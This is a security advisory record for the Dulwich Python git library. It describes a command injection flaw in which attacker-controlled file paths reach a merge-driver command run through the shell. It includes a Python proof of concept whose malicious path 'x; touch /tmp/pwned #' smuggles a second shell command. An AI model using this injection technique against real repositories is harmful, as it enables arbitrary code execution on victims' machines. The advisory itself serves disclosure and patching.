1 line
3.5 KiB
JSON
1 line
3.5 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-9277-mp7x-85jf","published":"2026-05-28T22:29:22Z","modified":"2026-09-10T03:51:05.165324181Z","aliases":["CVE-2026-42563","PYSEC-2026-2464"],"summary":"Dulwich Vulnerable to Command Injection via Merge Driver Path","details":"## Summary\n\nDulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.\n\n## Description\n\n- **Type:** Command Injection\n- **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch)\n- **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder\n- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.\n\n## Resources\n\n- Repository: https://github.com/dulwich/dulwich\n- Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129)\n\n## Proof of Concept\n\n```python\nfrom dulwich.attrs import GitAttributes, Pattern\nfrom dulwich.config import ConfigDict\nfrom dulwich.merge import merge_blobs\nfrom dulwich.objects import Blob\n\n# Merge driver with %P (path) - typical for custom merge tools\nconfig = ConfigDict()\nconfig.set((b\"merge\", b\"injectable\"), b\"driver\", b\"echo %P > %A\")\n\npatterns = [(Pattern(b\"*\"), {b\"merge\": b\"injectable\"})]\ngitattributes = GitAttributes(patterns)\n\nbase = Blob.from_string(b\"base\")\nours = Blob.from_string(b\"ours\")\ntheirs = Blob.from_string(b\"theirs\")\n\n# Malicious path from attacker-controlled git tree: injects \"touch /tmp/pwned\"\nmalicious_path = b\"x; touch /tmp/pwned #\"\n\nmerge_blobs(base, ours, theirs, path=malicious_path,\n gitattributes=gitattributes, config=config)\n# => Executes: echo x; touch /tmp/pwned #\n# => Shell runs: echo x, then touch /tmp/pwned\n```\n\n## Fix\n[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)","affected":[{"package":{"name":"dulwich","ecosystem":"PyPI","purl":"pkg:pypi/dulwich"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.24.0"},{"fixed":"1.2.5"}]}],"versions":["0.24.0","0.24.1","0.24.10","0.24.2","0.24.3","0.24.4","0.24.5","0.24.6","0.24.7","0.24.8","0.24.9","0.25.0","0.25.1","0.25.2","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-9277-mp7x-85jf/GHSA-9277-mp7x-85jf.json"}}],"references":[{"type":"WEB","url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42563"},{"type":"WEB","url":"https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b"},{"type":"PACKAGE","url":"https://github.com/jelmer/dulwich"},{"type":"WEB","url":"https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"}],"database_specific":{"cwe_ids":["CWE-78"],"github_reviewed":true,"github_reviewed_at":"2026-05-28T22:29:22Z","nvd_published_at":"2026-06-10T23:16:46Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]} |